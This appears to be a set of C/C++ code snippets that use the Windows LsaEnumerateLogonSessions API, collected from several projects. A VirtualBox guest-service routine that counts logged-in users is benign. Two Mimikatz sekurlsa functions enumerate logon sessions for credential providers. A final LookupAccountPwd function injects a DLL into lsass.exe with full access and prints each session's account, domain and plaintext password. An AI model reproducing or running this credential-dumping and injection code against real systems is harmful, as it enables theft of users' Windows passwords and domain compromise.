bool getLogonData(mod_pipe * monPipe, vector<wstring> * mesArguments, vector<pair<PFN_ENUM_BY_LUID, wstring>> * mesProviders) { bool sendOk = true; PLUID sessions; ULONG count; if (NT_SUCCESS(LsaEnumerateLogonSessions(&count, &sessions))) { for (ULONG i = 0; i < count && sendOk; i++) { PSECURITY_LOGON_SESSION_DATA sessionData = NULL; if(NT_SUCCESS(LsaGetLogonSessionData(&sessions[i], &sessionData))) { if(sessionData->LogonType != Network) { wostringstream maPremiereReponse; maPremiereReponse << endl << L"Authentification Id : " << sessions[i].HighPart << L";" << sessions[i].LowPart << endl << L"Package d\'authentification : " << mod_text::stringOfSTRING(sessionData->AuthenticationPackage) << endl << L"Utilisateur principal : " << mod_text::stringOfSTRING(sessionData->UserName) << endl << L"Domaine d\'authentification : " << mod_text::stringOfSTRING(sessionData->LogonDomain) << endl; sendOk = sendTo(monPipe, maPremiereReponse.str()); for(vector<pair<PFN_ENUM_BY_LUID, wstring>>::iterator monProvider = mesProviders->begin(); monProvider != mesProviders->end(); monProvider++) { wostringstream maSecondeReponse; maSecondeReponse << L'\t' << monProvider->second << L" : \t"; sendOk = sendTo(monPipe, maSecondeReponse.str()); monProvider->first(&sessions[i], monPipe, mesArguments->empty()); sendOk = sendTo(monPipe, L"\n"); } } LsaFreeReturnBuffer(sessionData); } else sendOk = sendTo(monPipe, L"Erreur : Impossible d\'obtenir les données de session\n"); } LsaFreeReturnBuffer(sessions); } else sendOk = sendTo(monPipe, L"Erreur : Impossible d\'énumerer les sessions courantes\n"); return sendOk; }
bool mod_mimikatz_sekurlsa::getLogonData(vector<wstring> * mesArguments, vector<pair<PFN_ENUM_BY_LUID, wstring>> * mesProviders) { PLUID sessions; ULONG count; if (NT_SUCCESS(LsaEnumerateLogonSessions(&count, &sessions))) { for (ULONG i = 0; i < count ; i++) { PSECURITY_LOGON_SESSION_DATA sessionData = NULL; if(NT_SUCCESS(LsaGetLogonSessionData(&sessions[i], &sessionData))) { if(sessionData->LogonType != Network) { (*outputStream) << "\"" << sessions[i].HighPart << L";" << sessions[i].LowPart << L"\",\"" << mod_text::stringOfSTRING(sessionData->AuthenticationPackage) << L"\",\"" << mod_text::stringOfSTRING(sessionData->UserName) << L"\",\"" << mod_text::stringOfSTRING(sessionData->LogonDomain) << L"\",\""; for(vector<pair<PFN_ENUM_BY_LUID, wstring>>::iterator monProvider = mesProviders->begin(); monProvider != mesProviders->end(); monProvider++) { monProvider->first(&sessions[i], mesArguments->empty()); (*outputStream) << L"\"" << endl; } } LsaFreeReturnBuffer(sessionData); } else (*outputStream) << L"Erreur : Impossible d\'obtenir les données de session" << endl; } LsaFreeReturnBuffer(sessions); } else (*outputStream) << L"Erreur : Impossible d\'énumerer les sessions courantes" << endl; return true; }
/** * Retrieves the currently logged in users and stores their names along with the * user count. * * @returns VBox status code. * @param ppszUserList Where to store the user list (separated by commas). * Must be freed with RTStrFree(). * @param pcUsersInList Where to store the number of users in the list. */ int VBoxServiceVMInfoWinWriteUsers(char **ppszUserList, uint32_t *pcUsersInList) { PLUID paSessions = NULL; ULONG cSessions = 0; /* This function can report stale or orphaned interactive logon sessions of already logged off users (especially in Windows 2000). */ NTSTATUS rcNt = LsaEnumerateLogonSessions(&cSessions, &paSessions); if (rcNt != STATUS_SUCCESS) { ULONG ulError = LsaNtStatusToWinError(rcNt); switch (ulError) { case ERROR_NOT_ENOUGH_MEMORY: VBoxServiceError("Not enough memory to enumerate logon sessions!\n"); break; case ERROR_SHUTDOWN_IN_PROGRESS: /* If we're about to shutdown when we were in the middle of enumerating the logon * sessions, skip the error to not confuse the user with an unnecessary log message. */ VBoxServiceVerbose(3, "Shutdown in progress ...\n"); ulError = ERROR_SUCCESS; break; default: VBoxServiceError("LsaEnumerate failed with error %u\n", ulError); break; } return RTErrConvertFromWin32(ulError); } VBoxServiceVerbose(3, "Found %ld sessions\n", cSessions); PVBOXSERVICEVMINFOPROC paProcs; DWORD cProcs; int rc = VBoxServiceVMInfoWinProcessesEnumerate(&paProcs, &cProcs); if (RT_FAILURE(rc)) { if (rc == VERR_NO_MEMORY) VBoxServiceError("Not enough memory to enumerate processes\n"); else VBoxServiceError("Failed to enumerate processes, rc=%Rrc\n", rc); } else { PVBOXSERVICEVMINFOUSER pUserInfo; pUserInfo = (PVBOXSERVICEVMINFOUSER)RTMemAllocZ(cSessions * sizeof(VBOXSERVICEVMINFOUSER) + 1); if (!pUserInfo) VBoxServiceError("Not enough memory to store enumerated users!\n"); else { ULONG cUniqueUsers = 0; for (ULONG i = 0; i < cSessions; i++) { VBoxServiceVerbose(3, "Handling session %u\n", i); VBOXSERVICEVMINFOUSER UserInfo; if (VBoxServiceVMInfoWinIsLoggedIn(&UserInfo, &paSessions[i])) { VBoxServiceVerbose(4, "Handling user=%ls, domain=%ls, package=%ls\n", UserInfo.wszUser, UserInfo.wszLogonDomain, UserInfo.wszAuthenticationPackage); /* Retrieve assigned processes of current session. */ ULONG ulSession; uint32_t cSessionProcs = VBoxServiceVMInfoWinSessionHasProcesses(&paSessions[i], paProcs, cProcs, &ulSession); /* Don't return here when current session does not have assigned processes * anymore -- in that case we have to search through the unique users list below * and see if got a stale user/session entry. */ bool fFoundUser = false; for (ULONG i = 0; i < cUniqueUsers; i++) { if ( !wcscmp(UserInfo.wszUser, pUserInfo[i].wszUser) && !wcscmp(UserInfo.wszLogonDomain, pUserInfo[i].wszLogonDomain) && !wcscmp(UserInfo.wszAuthenticationPackage, pUserInfo[i].wszAuthenticationPackage) && cSessionProcs) { /* * Only respect the highest session for the current user. */ if (ulSession > pUserInfo[i].ulSession) { VBoxServiceVerbose(4, "Updating user=%ls to %u processes (last session: %u)\n", UserInfo.wszUser, cSessionProcs, ulSession); pUserInfo[i].ulNumProcs = cSessionProcs; pUserInfo[i].ulSession = ulSession; if (!cSessionProcs) VBoxServiceVerbose(3, "Stale session for user=%ls detected! Old processes: %u, new: %u\n", pUserInfo[i].wszUser, pUserInfo[i].ulNumProcs, cSessionProcs); } /* There can be multiple session objects using the same session ID for the * current user -- so when we got the same session again just add the found * processes to it. */ else if (pUserInfo[i].ulSession == ulSession) { VBoxServiceVerbose(4, "Adding %u processes to user=%ls (session %u)\n", cSessionProcs, UserInfo.wszUser, ulSession); pUserInfo[i].ulNumProcs += cSessionProcs; pUserInfo[i].ulSession = ulSession; } fFoundUser = true; break; } } if (!fFoundUser) { VBoxServiceVerbose(4, "Adding new user=%ls (session %u) with %u processes\n", UserInfo.wszUser, ulSession, cSessionProcs); memcpy(&pUserInfo[cUniqueUsers], &UserInfo, sizeof(VBOXSERVICEVMINFOUSER)); pUserInfo[cUniqueUsers].ulNumProcs = cSessionProcs; pUserInfo[cUniqueUsers].ulSession = ulSession; cUniqueUsers++; Assert(cUniqueUsers <= cSessions); } } } VBoxServiceVerbose(3, "Found %u unique logged-in user(s)\n", cUniqueUsers); *pcUsersInList = 0; for (ULONG i = 0; i < cUniqueUsers; i++) { if (pUserInfo[i].ulNumProcs) { VBoxServiceVerbose(3, "User %ls has %ld processes (session %u)\n", pUserInfo[i].wszUser, pUserInfo[i].ulNumProcs, pUserInfo[i].ulSession); if (*pcUsersInList > 0) { rc = RTStrAAppend(ppszUserList, ","); AssertRCBreakStmt(rc, RTStrFree(*ppszUserList)); } *pcUsersInList += 1; char *pszTemp; int rc2 = RTUtf16ToUtf8(pUserInfo[i].wszUser, &pszTemp); if (RT_SUCCESS(rc2)) { rc = RTStrAAppend(ppszUserList, pszTemp); RTMemFree(pszTemp); } else rc = RTStrAAppend(ppszUserList, "<string-conversion-error>"); AssertRCBreakStmt(rc, RTStrFree(*ppszUserList)); } } RTMemFree(pUserInfo); } VBoxServiceVMInfoWinProcessesFree(paProcs); } LsaFreeReturnBuffer(paSessions); return rc; }
int LookupAccountPwd() { int nRet = -1; if (m_bNoisy) { msg_print("Reading by injecting code! (less-safe mode)\n"); } DWORD dwLSASRV_dll = FindLSASRV_dll(), dwWDIGEST_dll = 0; OSVERSIONINFOA sysVersion; sysVersion.dwOSVersionInfoSize = sizeof(sysVersion); GetVersionExA(&sysVersion); if ((sysVersion.dwMajorVersion < 6) && ( (sysVersion.dwMajorVersion != 5) || (sysVersion.dwMinorVersion != 2))) { dwWDIGEST_dll = FindWDIGEST_dll(); } else { dwWDIGEST_dll = FindWDIGEST_dll_2(); } if (!dwLSASRV_dll || !dwWDIGEST_dll) { msg_print("ERROR: Cannot find dependencies\n"); return nRet; } DWORD dwProcessId = GetProcessIdByName(L"lsass.exe"); if (!dwProcessId) { msg_print("Cannot get PID of LSASS.EXE!\n"); exit(0); } HANDLE hLSASS = OpenProcess(PROCESS_ALL_ACCESS, 0, dwProcessId); if (hLSASS == INVALID_HANDLE_VALUE) { msg_print("Error: Cannot open LSASS.EXE!.\n"); exit(0); } ULONG nLogonSessionCount = 0; PLUID pLogonSessionList = NULL; NTSTATUS status = LsaEnumerateLogonSessions(&nLogonSessionCount, &pLogonSessionList); if (!NT_SUCCESS(status)) { msg_print("Can't enumerate logon sessions!\n"); exit(0); } if (m_bNoisy) { msg_print("Logon Sessions Found: %d\n", nLogonSessionCount); } REMOTE_PARAM_T *remp = (REMOTE_PARAM_T *)malloc(sizeof(REMOTE_PARAM_T)); if (!remp) { msg_print("Cannot alloc wcewdparams!."); exit(0); } INPUT_PARAM_T inpt; strcpy(inpt.FuncName, "_0212DBDHJKSAHD0183923kljmLKL"); inpt.pParam = remp; inpt.paramSize = sizeof(REMOTE_PARAM_T); char szInjectDll[1024] = {0}; ::GetCurrentDirectoryA(1022, szInjectDll); ::PathAppendA(szInjectDll, "getpwd_dll.dll"); for (ULONG i = 0; i < nLogonSessionCount; ++i) { memset(remp, 0, sizeof(REMOTE_PARAM_T)); remp->dwDecryptAddr = dwLSASRV_dll; remp->dwLogonSessionEntry = dwWDIGEST_dll; remp->Retn = 0; remp->LogonId.LowPart = pLogonSessionList[i].LowPart; remp->LogonId.HighPart = pLogonSessionList[i].HighPart; if (GetUserPassword(dwProcessId, szInjectDll, &inpt)) { if (remp->Retn == 1) { msg_print("ID: %d\nAccout: %s\nDomain: %s\nPassword: "******"%s\n", remp->szPassword); } else { msg_print("<contains-non-printable-chars>"); } } } else { msg_print("Error in InjectDllAndCallFunction\n"); } } free(remp); LsaFreeReturnBuffer(pLogonSessionList); return 0; }